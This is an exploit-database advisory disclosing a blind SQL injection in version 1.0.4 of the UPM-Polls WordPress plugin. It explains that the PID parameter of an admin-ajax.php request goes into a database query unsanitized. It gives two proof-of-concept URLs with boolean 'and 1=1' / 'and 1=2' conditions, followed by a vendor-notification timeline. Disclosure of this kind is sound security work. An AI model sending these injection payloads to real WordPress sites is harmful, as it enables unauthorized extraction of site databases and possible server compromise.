ZeroBox Vulnerability Database

# Exploit Title: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4
# Google Dork: n/a
# Date: 04-12-2011
# Author: Saif El-Sherei
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip
# Version: 1.0.4
# Tested on: wordpress 3.2.1,Firefox 4, XAMPP

Info:

Best Plugin to create Polls for your site. Everything is smoother, faster,
and seamless like WordPress itself.

    Poll Manager,
        Ability to set general and post/page specific polls,
        Ability to leaf over the polls
        Ability to add certain poll in certain post content
        Ability to show polls either with and without current results of
polls

Details:

the Variable PID is not properly sanitized in the get request before
insertion into the database query; allowing an attaacker or any user who
can view poll results (supposedly   all user) to use blind sql injection to
extract database data and possibly compromise the whole server. a POC is
provided with both true and false results.

POC 1(TRUE):

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=1

"poll results for poll 2 is displayed"

POC 2 (FALSE):

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=2

"Blank page is displayed"

Time Line:
04-12-2011 Vulnerability discovered
04-12-2011 Vendor notified
11-12-2011 No response from vendor, public disclosure